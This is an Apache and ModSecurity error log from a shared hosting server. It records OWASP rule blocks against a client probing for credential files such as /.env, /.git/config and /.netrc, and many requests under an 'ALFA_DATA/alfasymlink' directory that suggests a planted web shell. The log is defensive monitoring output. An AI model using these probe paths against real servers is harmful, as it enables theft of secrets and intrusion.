[Tue Oct 27 06:50:34.529965 2026] [security2:error] [pid 3209611:tid 3209611] [client 85.155.15.20:35152] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env~"] [unique_id "auCB-pekxYBRCO5jo1OHpAAAABA"]
[Tue Oct 27 06:50:34.532257 2026] [security2:error] [pid 3201647:tid 3201647] [client 85.155.15.20:35144] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "auCB-pVvqGtwGAy54pYPmgAAAA0"]
[Tue Oct 27 06:50:34.532421 2026] [security2:error] [pid 3201647:tid 3201647] [client 85.155.15.20:35144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "auCB-pVvqGtwGAy54pYPmgAAAA0"]
[Tue Oct 27 06:50:34.532655 2026] [security2:error] [pid 3201647:tid 3201647] [client 85.155.15.20:35144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "auCB-pVvqGtwGAy54pYPmgAAAA0"]
[Tue Oct 27 06:50:34.534952 2026] [security2:error] [pid 3219287:tid 3219287] [client 85.155.15.20:35186] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos4.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "auCB-n3QSMGbzwlGMObVXwAAAAU"]
[Tue Oct 27 06:50:34.535102 2026] [security2:error] [pid 3219287:tid 3219287] [client 85.155.15.20:35186] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos4.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "auCB-n3QSMGbzwlGMObVXwAAAAU"]
[Tue Oct 27 06:50:34.535364 2026] [security2:error] [pid 3219287:tid 3219287] [client 85.155.15.20:35186] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos4.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "auCB-n3QSMGbzwlGMObVXwAAAAU"]
[Tue Oct 27 06:50:34.552862 2026] [security2:error] [pid 3209603:tid 3209603] [client 85.155.15.20:35162] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos4.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "auCB-j4THoroSjopRdX_kgAAAAE"]
[Tue Oct 27 06:50:34.553010 2026] [security2:error] [pid 3209603:tid 3209603] [client 85.155.15.20:35162] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos4.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "auCB-j4THoroSjopRdX_kgAAAAE"]
[Tue Oct 27 06:50:34.553214 2026] [security2:error] [pid 3212771:tid 3212771] [client 85.155.15.20:35106] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos4.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "auCB-toUAr6d2NuN9v3GSgAAAAQ"]
[Tue Oct 27 06:50:34.553242 2026] [security2:error] [pid 3209603:tid 3209603] [client 85.155.15.20:35162] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos4.sherwinpinturas.com"] [uri "/api/.env"] [unique_id "auCB-j4THoroSjopRdX_kgAAAAE"]
[Tue Oct 27 06:50:34.553360 2026] [security2:error] [pid 3212771:tid 3212771] [client 85.155.15.20:35106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos4.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "auCB-toUAr6d2NuN9v3GSgAAAAQ"]
[Tue Oct 27 06:50:34.553579 2026] [security2:error] [pid 3212771:tid 3212771] [client 85.155.15.20:35106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos4.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "auCB-toUAr6d2NuN9v3GSgAAAAQ"]
[Tue Oct 27 06:50:34.554190 2026] [security2:error] [pid 3219292:tid 3219292] [client 85.155.15.20:35112] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos4.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "auCB-m_oZ855J3-bmxEo9AAAAAY"]
[Tue Oct 27 06:50:34.554374 2026] [security2:error] [pid 3219292:tid 3219292] [client 85.155.15.20:35112] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos4.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "auCB-m_oZ855J3-bmxEo9AAAAAY"]
[Tue Oct 27 06:50:34.834732 2026] [security2:error] [pid 3219292:tid 3219292] [client 85.155.15.20:35112] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos4.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "auCB-m_oZ855J3-bmxEo9AAAAAY"]
[Tue Oct 27 06:50:34.628722 2026] [security2:error] [pid 3209611:tid 3209611] [client 85.155.15.20:35152] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "recursos4.sherwinpinturas.com"] [uri "/.netrc"] [unique_id "auCB-pekxYBRCO5jo1OHpQAAABA"]
[Tue Oct 27 06:50:34.835069 2026] [security2:error] [pid 3209611:tid 3209611] [client 85.155.15.20:35152] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "recursos4.sherwinpinturas.com"] [uri "/.netrc"] [unique_id "auCB-pekxYBRCO5jo1OHpQAAABA"]
[Tue Oct 27 06:50:34.712210 2026] [security2:error] [pid 3201656:tid 3201656] [client 85.155.15.20:35132] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auCB-kmqTSs7laY6jMTjCAAAABc"]
[Tue Oct 27 06:50:34.836548 2026] [security2:error] [pid 3201656:tid 3201656] [client 85.155.15.20:35132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auCB-kmqTSs7laY6jMTjCAAAABc"]
[Tue Oct 27 06:50:34.836790 2026] [security2:error] [pid 3201656:tid 3201656] [client 85.155.15.20:35132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auCB-kmqTSs7laY6jMTjCAAAABc"]
[Tue Oct 27 06:50:34.738304 2026] [proxy_fcgi:error] [pid 3201647:tid 3201647] [client 85.155.15.20:35144] AH01071: Got error 'Primary script unknown'
[Tue Oct 27 06:50:34.740471 2026] [proxy_fcgi:error] [pid 3219287:tid 3219287] [client 85.155.15.20:35186] AH01071: Got error 'Primary script unknown'
[Tue Oct 27 06:50:34.837977 2026] [proxy_fcgi:error] [pid 3212771:tid 3212771] [client 85.155.15.20:35106] AH01071: Got error 'Primary script unknown'
[Tue Oct 27 06:50:34.743382 2026] [proxy_fcgi:error] [pid 3201640:tid 3201640] [client 85.155.15.20:35118] AH01071: Got error 'Primary script unknown'
[Tue Oct 27 06:50:34.816857 2026] [proxy_fcgi:error] [pid 3209603:tid 3209603] [client 85.155.15.20:35162] AH01071: Got error 'Primary script unknown'
[Tue Oct 27 06:50:34.838233 2026] [proxy_fcgi:error] [pid 3209611:tid 3209611] [client 85.155.15.20:35152] AH01071: Got error 'Primary script unknown'
[Tue Oct 27 06:50:34.920711 2026] [proxy_fcgi:error] [pid 3219292:tid 3219292] [client 85.155.15.20:35112] AH01071: Got error 'Primary script unknown'
[Tue Oct 27 06:50:34.922769 2026] [proxy_fcgi:error] [pid 3201656:tid 3201656] [client 85.155.15.20:35132] AH01071: Got error 'Primary script unknown'
[Tue Oct 27 06:50:42.169564 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 34.199.252.22:48209] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:50:46.373306 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 52.73.142.41:16963] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:50:50.186021 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 44.205.120.22:36762] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:50:54.176600 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 34.193.2.57:15476] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:50:58.213037 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 54.197.114.76:50087] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:51:01.571763 2026] [core:error] [pid 3209616:tid 3209616] (13)Permission denied: [client 185.191.171.15:33658] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_extent_status/aliases
[Tue Oct 27 06:51:18.374016 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 44.193.115.232:26870] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:51:18.374246 2026] [security2:error] [pid 3209601:tid 3209601] [client 44.193.115.232:26870] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:0b/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:00/thermal_cooling/device/physical_node/node0/memory23/node0/memory14/removable"] [unique_id "auCCJgJ0bI7Z9n11TMACOAAAAAA"]
[Tue Oct 27 06:51:18.374271 2026] [security2:error] [pid 3209601:tid 3209601] [client 44.193.115.232:26870] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:0b/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:00/thermal_cooling/device/physical_node/node0/memory23/node0/memory14/removable"] [unique_id "auCCJgJ0bI7Z9n11TMACOAAAAAA"]
[Tue Oct 27 06:51:26.202910 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 23.21.119.232:40589] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:51:34.200842 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 18.207.79.144:11820] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:51:42.447343 2026] [core:error] [pid 3220899:tid 3220899] (13)Permission denied: [client 107.22.208.39:58861] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory15/node0/memory13/node0/cpu1/crash_notes
[Tue Oct 27 06:51:50.397708 2026] [ssl:error] [pid 3201647:tid 3201647] (5)Input/output error: [client 44.193.115.232:29032] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:52:02.353041 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 34.194.165.45:53414] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:52:10.187273 2026] [core:error] [pid 3219292:tid 3219292] (13)Permission denied: [client 85.208.96.210:37618] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_1k/red_zone
[Tue Oct 27 06:52:18.286635 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 44.216.172.204:44703] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:52:22.305265 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 23.21.175.228:26422] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:52:30.307774 2026] [core:error] [pid 3201656:tid 3201656] (13)Permission denied: [client 52.21.62.139:3744] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/wakeup/wakeup1/device/PNP0501:00/subsystem/devices/device:0d/subsystem/drivers/battery/uevent
[Tue Oct 27 06:52:42.340244 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 34.202.88.37:19903] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:52:50.586441 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 3.232.39.98:63484] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:53:02.645097 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 100.29.128.75:4468] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:53:06.577252 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 44.220.2.97:28110] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:53:09.878408 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 185.191.171.18:36510] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:53:14.511700 2026] [ssl:error] [pid 3209616:tid 3209616] (5)Input/output error: [client 3.215.59.93:41700] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:53:30.504081 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 34.206.212.24:39794] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:53:34.509639 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 184.72.84.154:36124] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:53:38.692833 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 23.21.227.240:34575] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:53:42.795632 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 184.73.68.20:42290] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:53:44.186437 2026] [authz_core:error] [pid 3209616:tid 3209616] [client 165.154.236.229:48548] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 06:53:46.604714 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 18.213.102.186:2869] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:54:02.637365 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 23.22.105.143:61756] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:54:06.665530 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 18.210.58.238:42455] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:54:10.579599 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 52.1.157.90:38119] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:54:13.120272 2026] [core:error] [pid 3209601:tid 3209601] (13)Permission denied: [client 185.191.171.11:60780] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fanotify_perm_event/usersize
[Tue Oct 27 06:54:26.632907 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 52.7.33.248:38952] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:54:27.800417 2026] [core:error] [pid 3220898:tid 3220898] (13)Permission denied: [client 85.208.96.206:19214] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-1k/total_objects
[Tue Oct 27 06:54:30.608459 2026] [ssl:error] [pid 3220899:tid 3220899] (5)Input/output error: [client 54.210.152.179:32779] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:54:32.543666 2026] [core:error] [pid 3219292:tid 3219292] (13)Permission denied: [client 85.208.96.205:45672] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bfq_queue/store_user
[Tue Oct 27 06:54:42.734324 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 54.90.8.255:11731] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:55:09.662941 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 185.191.171.14:58294] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:55:14.743971 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 54.157.99.244:48642] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:55:18.782597 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 50.19.102.70:39066] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:55:34.854270 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 52.203.68.145:53250] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:55:39.167787 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 44.194.139.149:61202] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:55:46.900087 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 54.147.80.137:9767] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:55:54.912953 2026] [security2:error] [pid 3201640:tid 3201640] [client 44.221.105.234:21965] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/PNP0303:00/physical_node1/firmware_node/subsystem/devices/"] [unique_id "auCDOuJWPhOgLfVxy6aTOgAAAAI"]
[Tue Oct 27 06:55:54.913019 2026] [security2:error] [pid 3201640:tid 3201640] [client 44.221.105.234:21965] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/PNP0303:00/physical_node1/firmware_node/subsystem/devices/"] [unique_id "auCDOuJWPhOgLfVxy6aTOgAAAAI"]
[Tue Oct 27 06:55:58.905777 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 54.243.63.52:17073] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:56:04.857984 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 185.191.171.17:56486] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:56:06.884144 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 54.210.152.179:30520] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:56:11.267799 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 44.195.50.71:1177] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:56:21.131341 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 185.191.171.10:49746] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:56:23.187513 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 34.236.135.14:30684] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:56:35.005745 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 52.200.93.170:14859] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:56:47.102045 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 52.204.89.12:61744] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:56:59.180233 2026] [core:error] [pid 3201640:tid 3201640] (13)Permission denied: [client 34.204.150.196:18413] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/PNP0C0F:04/subsystem/drivers_probe
[Tue Oct 27 06:57:03.234448 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 35.173.38.202:7786] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:57:11.173699 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 18.204.152.114:3383] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:57:14.804320 2026] [security2:error] [pid 3201647:tid 3201647] [client 85.208.96.210:23532] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/wakeup/wakeup8/device/"] [unique_id "auCDipVvqGtwGAy54pYPqwAAAA0"]
[Tue Oct 27 06:57:14.804367 2026] [security2:error] [pid 3201647:tid 3201647] [client 85.208.96.210:23532] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/wakeup/wakeup8/device/"] [unique_id "auCDipVvqGtwGAy54pYPqwAAAA0"]
[Tue Oct 27 06:57:31.351694 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 52.202.233.37:27536] AH02013: coalesce failed to read from data bucket
